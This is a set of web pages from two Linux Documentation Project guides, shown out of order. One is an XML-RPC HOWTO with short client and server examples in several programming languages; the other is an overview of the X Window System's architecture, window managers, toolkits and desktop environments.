These methods are currently supported by servers written in PHP, C and Microsoft .NET. Partial introspection support is included in recent updates to UserLand Frontier. Introspection support for Perl, Python and Java is available at the XML-RPC Hacks page. Please feel free to add introspection support to other XML-RPC servers!

Various client-side tools (documentation generators, wrapper generators, and so on) can be found at the XML-RPC Hacks page as well.

4.2. Boxcarring: Sending Multiple Requests at Once

If you're writing an XML-RPC client which makes lots of small function calls, you may discover that your round-trip time is fairly high, thanks to Internet backbone latency. Some servers allow you to batch up multiple requests using the following function:

array system.multicall (array calls)

You can find more information in the system.multicall RFC.

This method is currently supported by servers written in C and UserLand Frontier. Servers written in Python and Perl can use the code at the XML-RPC Hacks page.

Prev | Home | Next
XML-RPC vs. Other Protocols |  | A Sample API: sumAndDifference


What is XML-RPC?

XML-RPC HOWTO
Prev Next

2. What is XML-RPC?

XML-RPC is a simple, portable way to make remote procedure calls over HTTP. It can be used with Perl, Java, Python, C, C++, PHP and many other programming languages. Implementations are available for Unix, Windows and the Macintosh.

Here's a short XML-RPC client written in Perl. (We use Ken MacLeod's Frontier::Client module.)

use Frontier::Client;
$server = Frontier::Client->new(url => 'http://betty.userland.com/RPC2');
$name = $server->call('examples.getStateName', 41);
print "$name\n";

When run, this program will connect to the remote server, get the state name, and print it. (State #41 should be South Dakota in this example.)

Here's the same program in Python. (This time, we use Fredrik Lundh's xmlrpclib.)

python> import xmlrpclib
python> server = xmlrpclib.Server("http://betty.userland.com/RPC2")
python> server.examples.getStateName(41)
'South Dakota'

In the following chapters, you'll learn how to write XML-RPC clients and servers in a variety of programming languages.

2.1. How it Works

XML-RPC is described fully in Dave Winer's official specification. If you're curious, go ahead and take a look—it's a quick and straight-forward read.

On the wire, XML-RPC values are encoded as XML:

<methodCall>
  <methodName>sample.sumAndDifference</methodName>
  <params>
    <param><value><int>5</int></value></param>
    <param><value><int>3</int></value></param>
  </params>
</methodCall>

This is verbose, but compresses readily. It's also faster than you might expect—according to measurements by Rick Blair, a round-trip XML-RPC call takes 3 milliseconds using Hannes Wallnöfer's Java implementation.

2.2. Supported Data Types

XML-RPC supports the following data types:

int

A signed, 32-bit integer.

string

An ASCII string, which may contain NULL bytes. (Actually, several XML-RPC implementations support Unicode, thanks to the underlying features of XML.)

boolean

Either true or false.

double

A double-precision floating point number. (Accuracy may be limited in some implementations.)

dateTime.iso8601

A date and time. Unfortunately, since XML-RPC forbids the use of timezones, this is very nearly useless.

base64

Raw binary data of any length; encoded using Base64 on the wire. Very useful. (Some implementations don't like to receive zero bytes of data, though.)

array

An one-dimensional array of values. Individual values may be of any type.

struct

A collection of key-value pairs. The keys are strings; the values may be of any type.

2.3. The History of XML-RPC

XML-RPC was inspired by two earlier protocols. The first is an anonymous RPC protocol designed by Dave Winer and announced in an old DaveNet essay. (This is why XML-RPC servers are often installed under /RPC2.) The other, more important inspiration was an early draft of the SOAP protocol.

A longer history of XML-RPC has been generously provided by Dave Winer. This also explains the relationship between XML-RPC and SOAP.

Prev | Home | Next
Legal Notice |  | XML-RPC vs. Other Protocols


Using XML-RPC with Java

XML-RPC HOWTO
Prev Next

9. Using XML-RPC with Java

Hannes Wallnöfer has provided an excellent implementation of XML-RPC for Java.

To install it, download the distribution, unzip it, and add the *.jar files to your CLASSPATH. On a Unix system, you can do this by typing:

bash$ unzip xmlrpc-java.zip
bash$ cd xmlrpc-java/lib
bash$ CLASSPATH=`pwd`/openxml-1.2.jar:`pwd`/xmlrpc.jar:$CLASSPATH

9.1. A Java Client

Save the following program in a file named JavaClient.java.

import java.util.Vector;
import java.util.Hashtable;
import helma.xmlrpc.*;

public class JavaClient {

    // The location of our server.
    private final static String server_url =
        "http://xmlrpc-c.sourceforge.net/api/sample.php";

    public static void main (String [] args) {
        try {

            // Create an object to represent our server.
            XmlRpcClient server = new XmlRpcClient(server_url);

            // Build our parameter list.
            Vector params = new Vector();
            params.addElement(new Integer(5));
            params.addElement(new Integer(3));

            // Call the server, and get our result.
            Hashtable result =
                (Hashtable) server.execute("sample.sumAndDifference", params);
            int sum = ((Integer) result.get("sum")).intValue();
            int difference = ((Integer) result.get("difference")).intValue();

            // Print out our result.
            System.out.println("Sum: " + Integer.toString(sum) +
                               ", Difference: " +
                               Integer.toString(difference));

        } catch (XmlRpcException exception) {
            System.err.println("JavaClient: XML-RPC Fault #" +
                               Integer.toString(exception.code) + ": " +
                               exception.toString());
        } catch (Exception exception) {
            System.err.println("JavaClient: " + exception.toString());
        }
    }
}

9.2. A Stand-Alone Java Server

Save the following program in a file named JavaServer.java.

import java.util.Hashtable;
import helma.xmlrpc.*;

public class JavaServer {

    public JavaServer () {
        // Our handler is a regular Java object. It can have a
        // constructor and member variables in the ordinary fashion.
        // Public methods will be exposed to XML-RPC clients.
    }

    public Hashtable sumAndDifference (int x, int y) {
        Hashtable result = new Hashtable();
        result.put("sum", new Integer(x + y));
        result.put("difference", new Integer(x - y));
        return result;
    }

    public static void main (String [] args) {
        try {

            // Invoke me as <http://localhost:8080/RPC2>.
            WebServer server = new WebServer(8080);
            server.addHandler("sample", new JavaServer());

        } catch (Exception exception) {
            System.err.println("JavaServer: " + exception.toString());
        }
    }
}
Prev | Home | Next
Using XML-RPC with C and C++ |  | Using XML-RPC with PHP


Legal Notice

XML-RPC HOWTO
Prev Next

1. Legal Notice

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. You may obtain a copy of the GNU Free Documentation License from the Free Software Foundation by visiting their Web site or by writing to: Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

This manual contains short example programs ("the Software"). Permission is hereby granted, free of charge, to any person obtaining a copy of the Software, to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following condition:

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

Prev | Home | Next
XML-RPC HOWTO |  | What is XML-RPC?


Using XML-RPC with Perl

XML-RPC HOWTO
Prev Next

6. Using XML-RPC with Perl

Ken MacLeod has implemented XML-RPC for Perl. You can find his Frontier::RPC module at his website or through CPAN.

To install Frontier::RPC, download the package and compile it in the standard fashion:

bash$ gunzip -c Frontier-RPC-0.07b1.tar.gz | tar xvf -
bash$ cd Frontier-RPC-0.07b1
bash$ perl Makefile.PL
bash$ make
bash$ make test
bash$ su -c 'make install'

(The process will be slightly different on Windows systems, or if you don't have root access. Consult your Perl documentation for details.)

6.1. A Perl Client

The following program shows how to call an XML-RPC server from Perl:

use Frontier::Client;

# Make an object to represent the XML-RPC server.
$server_url = 'http://xmlrpc-c.sourceforge.net/api/sample.php';
$server = Frontier::Client->new(url => $server_url);

# Call the remote server and get our result.
$result = $server->call('sample.sumAndDifference', 5, 3);
$sum = $result->{'sum'};
$difference = $result->{'difference'};

print "Sum: $sum, Difference: $difference\n";

6.2. A Stand-Alone Perl Server

The following program shows how to write an XML-RPC server in Perl:

use Frontier::Daemon;

sub sumAndDifference {
    my ($x, $y) = @_;
    return {'sum' => $x + $y, 'difference' => $x - $y};
}

# Call me as http://localhost:8080/RPC2
$methods = {'sample.sumAndDifference' => \&sumAndDifference};
Frontier::Daemon->new(LocalPort => 8080, methods => $methods)
    or die "Couldn't start HTTP server: $!";

6.3. A CGI-Based Perl Server

Frontier::RPC2 doesn't provide built-in support for CGI-based servers. It does, however, provide most of the pieces you'll need.

Save the following code as sumAndDifference.cgi in your web server's cgi-bin directory. (On Unix systems, you'll need to make it executable by typing chmod +x sumAndDifference.cgi.)

#!/usr/bin/perl -w

use strict;
use Frontier::RPC2;

sub sumAndDifference {
    my ($x, $y) = @_;
    return {'sum' => $x + $y, 'difference' => $x - $y};
}

process_cgi_call({'sample.sumAndDifference' => \&sumAndDifference});

#==========================================================================
#  CGI Support
#==========================================================================
#  Simple CGI support for Frontier::RPC2. You can copy this into your CGI
#  scripts verbatim, or you can package it into a library.
#  (Based on xmlrpc_cgi.c by Eric Kidd <http://xmlrpc-c.sourceforge.net/>.)

# Process a CGI call.
sub process_cgi_call ($) {
    my ($methods) = @_;

    # Get our CGI request information.
    my $method = $ENV{'REQUEST_METHOD'};
    my $type = $ENV{'CONTENT_TYPE'};
    my $length = $ENV{'CONTENT_LENGTH'};

    # Perform some sanity checks.
    http_error(405, "Method Not Allowed") unless $method eq "POST";
    http_error(400, "Bad Request") unless $type eq "text/xml";
    http_error(411, "Length Required") unless $length > 0;

    # Fetch our body.
    my $body;
    my $count = read STDIN, $body, $length;
    http_error(400, "Bad Request") unless $count == $length;

    # Serve our request.
    my $coder = Frontier::RPC2->new;
    send_xml($coder->serve($body, $methods));
}

# Send an HTTP error and exit.
sub http_error ($$) {
    my ($code, $message) = @_;
    print <<"EOD";
Status: $code $message
Content-type: text/html

<title>$code $message</title>
<h1>$code $message</h1>
<p>Unexpected error processing XML-RPC request.</p>
EOD
    exit 0;
}

# Send an XML document (but don't exit).
sub send_xml ($) {
    my ($xml_string) = @_;
    my $length = length($xml_string);
    print <<"EOD";
Status: 200 OK
Content-type: text/xml
Content-length: $length

EOD
    # We want precise control over whitespace here.
    print $xml_string;
}

You can copy the utility routines into your own CGI scripts.

Prev | Home | Next
A Sample API: sumAndDifference |  | Using XML-RPC with Python


Using XML-RPC with PHP

XML-RPC HOWTO
Prev Next

10. Using XML-RPC with PHP

Edd Dumbill has implemented XML-RPC for PHP. You can download it from the UsefulInc XML-RPC website.

To install the distribution, decompress it and copy xmlrpc.inc and xmlrpcs.inc into the same directory as your PHP scripts.

10.1. A PHP Client

The following script shows how to embed XML-RPC calls into a web page.

<html>
<head>
<title>XML-RPC PHP Demo</title>
</head>
<body>
<h1>XML-RPC PHP Demo</h1>

<?php
include 'xmlrpc.inc';

// Make an object to represent our server.
$server = new xmlrpc_client('/api/sample.php',
                            'xmlrpc-c.sourceforge.net', 80);

// Send a message to the server.
$message = new xmlrpcmsg('sample.sumAndDifference',
                         array(new xmlrpcval(5, 'int'),
                               new xmlrpcval(3, 'int')));
$result = $server->send($message);

// Process the response.
if (!$result) {
    print "<p>Could not connect to HTTP server.</p>";
} elseif ($result->faultCode()) {
    print "<p>XML-RPC Fault #" . $result->faultCode() . ": " .
        $result->faultString();
} else {
    $struct = $result->value();
    $sumval = $struct->structmem('sum');
    $sum = $sumval->scalarval();
    $differenceval = $struct->structmem('difference');
    $difference = $differenceval->scalarval();
    print "<p>Sum: " . htmlentities($sum) .
        ", Difference: " . htmlentities($difference) . "</p>";
}
?>

</body></html>

If your webserver doesn't run PHP scripts, see the PHP website for more information.

10.2. A PHP Server

The following script shows how to implement an XML-RPC server using PHP.

<?php
include 'xmlrpc.inc';
include 'xmlrpcs.inc';

function sumAndDifference ($params) {

    // Parse our parameters.
    $xval = $params->getParam(0);
    $x = $xval->scalarval();
    $yval = $params->getParam(1);
    $y = $yval->scalarval();

    // Build our response.
    $struct = array('sum' => new xmlrpcval($x + $y, 'int'),
                    'difference' => new xmlrpcval($x - $y, 'int'));
    return new xmlrpcresp(new xmlrpcval($struct, 'struct'));
}

// Declare our signature and provide some documentation.
// (The PHP server supports remote introspection. Nifty!)
$sumAndDifference_sig = array(array('struct', 'int', 'int'));
$sumAndDifference_doc = 'Add and subtract two numbers';

new xmlrpc_server(array('sample.sumAndDifference' =>
                        array('function' => 'sumAndDifference',
                              'signature' => $sumAndDifference_sig,
                              'docstring' => $sumAndDifference_doc)));
?>

You would normally invoke this as something like http://localhost/path/sumAndDifference.php.

Prev | Home | Next
Using XML-RPC with Java |  | Using XML-RPC with Microsoft .NET


Using XML-RPC with Proprietary Languages

XML-RPC HOWTO
Prev Next

13. Using XML-RPC with Proprietary Languages

Implementations of XML-RPC are available for the following proprietary programming languages and environments.

13.1. Using XML-RPC with K

(This section of the XML-RPC HOWTO was generously provided by Christian Langreiter.)

K is a language used in finance and database development. To install XML-RPC for K, download it from the Kx website. Uncompress and copy the files into the directory in which you keep your .k programs.

Here's a short client:

\l kxr
server:("localhost";"/cgi-bin/sumAndDifference.cgi");
.kxr.c[server;"sumAndDifference";2 3]

And here's a server:

\l kxrsc
.kxr.sm: ,("sumAndDifference";{.((`sum;+/x);(`difference;-/x))})

More examples are included in the distribution.

Prev | Home | Next
Using XML-RPC with Ruby |  | Applications with Built-in XML-RPC Support


Using XML-RPC with Python

XML-RPC HOWTO
Prev Next

7. Using XML-RPC with Python

Fredrik Lundh has provided an excellent XML-RPC library for Python.

To install, download the latest version. You can either stick the *.py files in the same directory as your Python code, or you can install them in your system's Python directory.

RedHat 6.2 users can type the following:

bash$ mkdir xmlrpclib-0.9.8
bash$ cd xmlrpclib-0.9.8
bash$ unzip ../xmlrpc-0.9.8-990621.zip
bash$ python
python> import xmlrpclib
python> import xmlrpcserver
python> Control-D
bash$ su -c 'cp *.py *.pyc /usr/lib/python1.5/'

We import two of the *.py files to trick Python into compiling them. Users of other platforms should consult their Python documentation.

For more Python examples, see the article XML-RPC: It Works Both Ways on the O'Reilly Network.

7.1. A Python Client

The following program shows how to call an XML-RPC server from Python:

import xmlrpclib

# Create an object to represent our server.
server_url = 'http://xmlrpc-c.sourceforge.net/api/sample.php';
server = xmlrpclib.Server(server_url);

# Call the server and get our result.
result = server.sample.sumAndDifference(5, 3)
print "Sum:", result['sum']
print "Difference:", result['difference']
Prev | Home | Next
Using XML-RPC with Perl |  | Using XML-RPC with C and C++


Using XML-RPC with Ruby

XML-RPC HOWTO
Prev Next

12. Using XML-RPC with Ruby

(This section of the XML-RPC HOWTO was generously provided by Michael Neumann.)

Ruby is an object-oriented scripting language. It already has a major following in Japan, and it's becoming popular elsewhere.

To use XML-RPC with Ruby, you must first install Yoshida Masato's xmlparser module (a wrapper for James Clark's expat parser). This can be found at the Ruby Application Archive.

Then, you must install xmlrpc4r using the following commands:

bash$ tar -xvzf xmlrpc4r-1_2.tar.gz
bash$ cd xmlrpc4r-1_2
bash$ su root -c "ruby install.rb"

12.1. A Ruby Client

Here's a simple Ruby client:

require "xmlrpc/client"

# Make an object to represent the XML-RPC server.
server = XMLRPC::Client.new( "xmlrpc-c.sourceforge.net", "/api/sample.php")

# Call the remote server and get our result
result = server.call("sample.sumAndDifference", 5, 3)

sum = result["sum"]
difference = result["difference"]

puts "Sum: #{sum}, Difference: #{difference}"

12.2. A Ruby Server

Here's a simple Ruby server:

require "xmlrpc/server"

s = XMLRPC::CGIServer.new

s.add_hanlder("sample.sumAndDifference") do |a,b|
  { "sum" => a + b, "difference" => a - b }
end

s.serve

This could also have been written as follows:

require "xmlrpc/server"

s = XMLRPC::CGIServer.new

class MyHandler
  def sumAndDifference(a, b)
    { "sum" => a + b, "difference" => a - b }
  end
end

s.add_handler("sample", MyHandler.new)
s.serve

To run either server in standalone mode, replace the second line of code with the following:

s = XMLRPC::Server.new(8080)
Prev | Home | Next
Using XML-RPC with Microsoft .NET |  | Using XML-RPC with Proprietary Languages


A day in the life of an X system

X Window System Architecture Overview HOWTO
Prev Next

11. A day in the life of an X system

This is an example of how a typical GNOME session goes, under a modern desktop environment in a Linux system. It's very similar to how things work under other environments, assuming they work on top of X.

When a Linux system starts X, the X server comes up and initializes the graphic device, waiting for requests from clients. First a program called gnome-session starts, and sets up the working session. A session includes things such as applications I always open, their on-screen positions, and such. Next, the panel gets started. The panel appears at the bottom (usually) and it's sort of a dashboard for the windowing environment. It will let us launch programs, see which ones are running, and otherwise control the working environment. Next, the window manager comes up. Since we're using GNOME, it could be any of several different window managers, but in this case we'll assume we're running Sawfish. Finally, the file manager comes up (gmc or Nautilus). The file manager handles presentation of the desktop icons (the ones that appear directly on the desktop). At this point my GNOME environment is ready to work.

So far all of the programs that have been started are clients, connecting to the X server. In this case the X server happens to be in the same computer, but as we saw before, it need not be.

We'll now open an xterm to type some commands. When we click on the xterm icon, the panel spawns, or launches, the xterm application. It's another X client application, so it starts, connects to the X server and begins displaying its stuff. When the X server assigns screen space for my xterm, it lets the window manager (Sawfish) decorate the window with a nice titlebar, and decide where it will be on screen.

Let's do some browsing. We click on the Netscape icon on the panel, and up comes a browser. Keep in mind that this browser doesn't use GNOME's facilities, nor does it use the Gtk toolkit. It looks a bit out of place here... also, it doesn't interact very nicely with the rest of the environment. I'll open the "File" menu. Motif is providing the on-screen controls, so it's the Motif library's job to make the appropriate calls to the underlying Xlib, draw the necessary on-screen elements to display the menu and let me select the "exit" option, closing the application.

Now I open a Gnumeric spreadsheet and start doing some stuff. At some point I need to do some work on the xterm I had open, so I click on it. Sawfish sees that, and, being in charge of managing windows, brings the xterm to the top and gives it focus so I can work there.

After that, I go back to my spreadsheet, now that I'm finished I want to print my document. Gnumeric is a GNOME application, so it can use the facilities provided by the GNOME environment. When I print, Gnumeric calls the gnome-print library, which actually communicates with the printer and produces the hard copy I need.

Prev | Home | Next
How it all fits together |  | Copyright and License


The X Window System Architecture: overview

X Window System Architecture Overview HOWTO
Prev Next

3. The X Window System Architecture: overview

X was designed with a client-server architecture. The applications themselves are the clients; they communicate with the server and issue requests, also receiving information from the server.

The X server maintains exclusive control of the display and services requests from the clients. At this point, the advantages of using this model are pretty clear. Applications (clients) only need to know how to communicate with the server, and need not be concerned with the details of talking to the actual graphics display device. At the most basic level, a client tells the server stuff like "draw a line from here to here", or "render this string of text, using this font, at this position on-screen".

This would be no different from just using a graphics library to write our application. However the X model goes a step further. It doesn't constrain the client being in the same computer as the server. The protocol used to communicate between clients and server can work over a network, or actually, any "inter-process communication mechanism that provides a reliable octet stream". Of course, the preferred way to do this is by using the TCP/IP protocols. As we can see, the X model is really powerful; the classical example of this is running a processor-intensive application on a Cray computer, a database monitor on a Solaris server, an e-mail application on a small BSD mail server, and a visualization program on an SGI server, and then displaying all those on my Linux workstation's screen.

So far we've seen that the X server is the one handling the actual graphics display. Also, since it's the X server which runs on the physical, actual computer the user is working on, it's the X server's responsibility to perform all actual interactions with the user. This includes reading the mouse and keyboard. All this information is relayed to the client, which of course will have to react to it.

X provides a library, aptly called Xlib, which handles all low-level client-server communication tasks. It sounds obvious that, then, the client has to invoke functions contained within Xlib to get work done.

At this point everything seems to be working fine. We have a server in charge of visual output and data input, client applications, and a way for them to communicate between each other. In picturing a hypothetical interaction between a client and a server, the client could ask the server to assign a rectangular area on the screen. Being the client, I'm not concerned with where i'm being displayed on the screen. I just tell the server "give me an area X by Y pixels in size", and then call functions to perform actions like "draw a line from here to there", "tell me whether the user is moving the mouse in my screen area" and so on.

Prev | Home | Next
Introduction |  | Window Managers


Client Applications

X Window System Architecture Overview HOWTO
Prev Next

5. Client Applications

Let's focus on the client programs for a moment. Imagine you wanted to write a client program from scratch, using only the facilities provided by X. You'd quickly find that Xlib is pretty spartan, and that doing things like putting buttons on screen, text, or nice controls (scrollbars, radio boxes) for the users, is terribly complicated.

Luckily, someone else went to the trouble of programming these controls and giving them to us in a usable form; a library. These controls are usually known as "widgets" and of course, the library is a "widget library". Then I just have to call a function from this library with some parameters and have a button on-screen. Examples of widgets include menus, buttons, radio buttons, scrollbars, and canvases.

A "canvas" is an interesting kind of widget, because it's basically a sub-area within the client where i can draw stuff. Understandably, since I shouldn't use Xlib directly, because that would interfere with the widget library, the library itself gives a way to draw arbitrary graphics within the canvas widget.

Since the widget library is the one actually drawing the elements on-screen, as well as interpreting user's actions into input, the library used is largely responsible for each client's aspect and behavior. From a developer's point of view, a widget library also has a certain API (set of functions), and that might define which widget library i'll want to use.

Prev | Home | Next
Window Managers |  | Widget Libraries or toolkits


Copyright and License

X Window System Architecture Overview HOWTO
Prev

12. Copyright and License

Copyright (c) 2001 by Daniel Manrique

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license can be found here.

Prev | Home
A day in the life of an X system |


Desktop environments to the rescue

X Window System Architecture Overview HOWTO
Prev Next

8. Desktop environments to the rescue

Here's where the concept of a desktop environment kicks in. The idea is that a desktop environment provides a set of facilities and guidelines aiming to standardizing all the stuff we mentioned so that the problems we mentioned earlier are minimized.

The concept of a desktop environment is something new to people coming for the first time to Linux because it's something that other operating systems (like Windows and the Mac OS) intrinsically have. For example, MacOS, which is one of the earliest graphical user interfaces, provides a very consistent look-and-feel during the entire computing session. For instance, the operating system provides a lot of the niceties we mentioned: it provides a default file manager (the finder), a systemwide control panel, and single toolkit that all applications have to use (so they all look the same). Application windows are managed by the system (strictly speaking there's a window manager working there). Finally, there are a set of guidelines that tell developers how their applications should behave, recommend control looks and placement, and suggest behaviors according to those of other applications on the system. All this is done in the sake of consistency and ease of use.

This begs the question, "why didn't the X developers do things that way in the first place?". It makes sense; after all, it would have avoided all the problems we mentioned earlier. The answer is that in designing X, its creators chose to make it as flexible as possible. Going back to the policy/mechanism paradigm, the MacOS provides mostly policies. Mechanisms are there, but they don't encourage people to play with those. As a result I lose versatility; if I don't like the way MacOS manages my windows, or the toolkit doesn't provide a function I need, I'm pretty much out of luck. This doesn't happen under X, altough as seen before, the price of flexibility is greater complexity.

Under Linux/Unix and X, it all comes down to agreeing on stuff and sticking to it. Let's take KDE for example. KDE includes a single window manager (kwm), which manages and controls the behavior of our windows. It recommends using a certain graphic toolkit (Qt), so that all KDE applications look the same, as far as their on-screen controls go. KDE further extends Qt by providing a set of environment-specific libraries (kdelibs) for performing common tasks like creating menus, "about" boxes, program toolbars, communicating between programs, printing, selecting files, and other things. These make the programmer's work easier and standardize the way these special features behave. KDE also provides a set of design and behavior guidelines to programmers, with the idea that, if everybody follows them, programs running under KDE will both look and behave very similarly. Finally, KDE provides, as part of the environment, a launcher panel (kpanel), a standard file manager (which is, at the time being, Konqueror), and a configuration utility (control panel) from which we can control many aspects of our computing environment, from settings like the desktop's background and the windows' titlebar color to hardware configurations.

The KDE panel is an equivalent to the MS Windows taskbar. It provides a central point from which to launch applications, and it also provides for small applications, called "applets", to be displayed within it. This gives functionality like the small, live clock most users can't live without.

Prev | Home | Next
What we have so far |  | Specific Desktop Environments


How it all fits together

X Window System Architecture Overview HOWTO
Prev Next

10. How it all fits together

Each user is free to choose whichever desktop environment feels the best. The end result is that, if you use an all-kde or all-gnome system, the look and feel of the environment is very consistent; and your applications all interact between them pretty nicely. This just wasn't possible when we had apps written in a hodgepodge of different toolkits. The range of facilities provided by modern desktop environments under Linux also enable some other niceties, like component architectures (KDE has Kparts and GNOME uses the Bonobo component framework), which allow you to do things like having a live spreadsheet or chart inside a word processing document; global printing facilities, similar to the printing contexts found in Windows; or scripting languages, which let more advanced users write programs to glue applications together and have them interact and cooperate in interesting ways.

Under the Unix concept of "desktop environment", you can have programs from one environment running in another. I could conceivably use Konqueror within GNOME, or Gnumeric under KDE. They're just programs, after all. Of course the whole idea of a desktop environment is consistency, so it makes sense to stick to apps that were designed for your particular environment; but if you're willing to cope with an app that looks "out of place" and doesn't interact with the rest of your environment, you are completely free to do so.

Prev | Home | Next
Specific Desktop Environments |  | A day in the life of an X system


X Window System Architecture Overview HOWTO

Daniel Manrique

roadmr@entropia.com.mx

Revision History
Revision 1.0.1 | 2001-05-22 | Revised by: dm
Some grammatical corrections, pointed out by Bill Staehle
Revision 1.0 | 2001-05-20 | Revised by: dm
Initial LDP release.

This document provides an overview of the X Window System's architecture, give a better understanding of its design, which components integrate with X and fit together to provide a working graphical environment and what choices are there regarding such components as window managers, toolkits and widget libraries, and desktop environments.

Table of Contents
1. Preface
2. Introduction
3. The X Window System Architecture: overview
4. Window Managers
5. Client Applications
6. Widget Libraries or toolkits
7. What we have so far
8. Desktop environments to the rescue
9. Specific Desktop Environments
10. How it all fits together
11. A day in the life of an X system
12. Copyright and License
Next
Preface


Introduction

X Window System Architecture Overview HOWTO
Prev Next

2. Introduction

Back when UNIX was a new thing, around 1970, graphical user interfaces were only a weird thing being played with in a laboratory (Xerox's PARC to be precise). Nowadays, however, any operating system in hopes of being competitive needs to have a GUI subsystem. GUIs are supposed to be easier to use. This is not much of a concern under UNIX, which has traditionally been, to some extent, pretty user-hostile, preferring versatility over ease of use. However, there are several reasons why a GUI is desirable even on a UNIX system. For instance, given UNIX's multitasking nature, it's natural to have a lot of programs running at any given time. A GUI gives more control over how things are displayed on-screen, thus providing with better facilities for having a lot of programs on-screen at the same time. Also, some kinds of information are better displayed in graphical form (some, even, can only be displayed in graphical form; like pr0n and other inherently graphical data).

Historically, UNIX has had a lot of improvements done by academic types. A good example is the BSD networking code added to it in the late 1970's, which was, of course, the product of work at the University of California at Berkeley. As it turns out, the X Window System (also called X, but never X Windows), which is the foundation for most GUI subsystems found in modern UNIX (unices?), Linux and the BSD's included, was also the result of an academic project, namely the Athena project at the Massachusetts Institute of Technology (MIT).

Unix has been a multiuser, multitasking, timesharing operating system since its beginnings. Also, since the incorporation of networking technologies, it's had the ability to allow a user to connect remotely and perform work on the system. Previously this was accomplished either via dumb serial terminals, or network connections (the legendary telnet).

When the time came to develop a GUI system that could run primarily under Unix, these concepts were kept in mind and incorporated into the design. Actually, X has a pretty complex design, which has often been mentioned as a disadvantage. However, because of its design, it's also a really versatile system, and this will become quite clear as we explain how all the parts comprising a GUI under Unix fit together.

Before taking a look at X's architecture, a really brief tour of its history, and how it ended up on your Linux system, is in order.

X was developed by the Athena project, and released in 1984. In 1988 an entity called the "X Consortium" took over X, and to this day handles its development and distribution. The X specification is freely available, this was a smart move as it has made X almost ubiquitous. This is how XFree86 came to be. XFree86 is the implementation of X we use on our Linux computers. XFree86 also works on other operating systems, like the *BSD lineage, OS/2 and maybe others. Also, despite its name, XFree86 is also available for other CPU architectures.

Prev | Home | Next
Preface |  | The X Window System Architecture: overview


Preface

X Window System Architecture Overview HOWTO
Prev Next

1. Preface

This document aims to provide an overview of the X Window System's architecture, hoping to give people a better understanding of why it's designed the way it's designed, which components integrate with X and fit together to provide a working graphical environment and what choices are there regarding those components.

We explore several concepts that get mentioned a lot but might be a bit unclear for those without a technical background, such as widgets and toolkits, window managers and desktop environments. Some examples of how these components interact during day-to-day use of applications are provided.

This document is, deliberately, not too technically oriented. It's based on the author's (empirical) knowledge of the subject, and while it's primarily meant as a non-technical introduction, it can certainly benefit from any kind of comments, further examples and explanations, and technical corrections. The author welcomes all questions and comments regarding this document and can be reached at roadmr@entropia.com.mx.

Prev | Home | Next
X Window System Architecture Overview HOWTO |  | Introduction


What we have so far

X Window System Architecture Overview HOWTO
Prev Next

7. What we have so far

Up to this point we have an idea of how X has a client-server architecture, where the clients are our application programs. Under this client-server graphic system, we have several possible window managers, which manage our screen real estate; we also have our client applications, which are where we actually get our work done, and clients can be programmed using several possible different toolkits.

Here's where the mess begins. Each window manager has a different approach to managing the clients; the behavior and decorations are different from one to the next. Also, as defined by which toolkit each client uses, they can also look and behave differently from each other. Since there's nothing that says authors have to use the same toolkit for all their applications, it's perfectly possible for a user to be running, say, six different applications, each written using a different toolkit, and they all look and behave differently. This creates a mess because behavior between the apps is not consistent. If you've ever used a program written with the Athena widgets, you'll notice it's not too similar to something written using Gtk. And you'll also remember it's a mess using all these apps which look and feel so different. This basically negates the advantage of using a GUI environment in the first place.

On a more technical standpoint, using lots of different toolkits increases resource usage. Modern operating systems support the concept of dynamic shared libraries. This means that if I have two or three applications using Gtk, and I have a dynamic shared version of Gtk, then those two or three applications share the same copy of Gtk, both on the disk and in memory. This saves resources. On the other hand, if I have a Gtk application, a Qt application, something Athena-based, a Motif-based program such as Netscape, a program that uses FLTK and another using XForms, I'm now loading six different libraries in memory, one for each of the different toolkits. Keep in mind that all the toolkits provide basically the same functionality.

There are other problems here. The way of launching programs varies from one window manager to the next. Some have a nice menu for launching apps; others don't, and they expect us to open a command-launching box, or use a certain key combination, or even open an xterm and launch all your apps by invoking the commands. Again, there's no standarization here so it becomes a mess.

Finally, there are niceties we expect from a GUI environment which our scheme hasn't covered. Things like a configuration utility, or "control panel"; or a graphical file manager. Of course, these can be written as client apps. And, in typical free software fashion, there are hundreds of file managers, and hundreds of system configuration programs, which conceivably, further the mess of having to deal with a lot of disparate software components.

Prev | Home | Next
Widget Libraries or toolkits |  | Desktop environments to the rescue


Specific Desktop Environments

X Window System Architecture Overview HOWTO
Prev Next

9. Specific Desktop Environments

We used KDE as an example, but it's by no means the earliest desktop environment for Unix systems. Perhaps one of the earliest is CDE (Common Desktop Environment), another sibling of the OSF. As per the CDE FAQ: "The Common Desktop Environment is a standard desktop for UNIX, providing services to end-users, systems administrators, and application developers consistently across many platforms." The key here is consistency. However CDE wasn't as feature-rich and easy as it needed to be. Along with Motif, CDE has practically disappeared from the free software world, having been replaced by better alternatives.

Under Linux, the two most popular desktop environments are KDE and GNOME, but they're not the only ones. A quick internet search will reveal about half a dozen desktop environments: GNUStep, ROX, GTK+XFce, UDE, to name a few. They all provide the basic facilities we mentioned earlier. GNOME and KDE have had the most support, both from the community and the industry, so they're the most advanced ones, providing a large amount of services to users and applications.

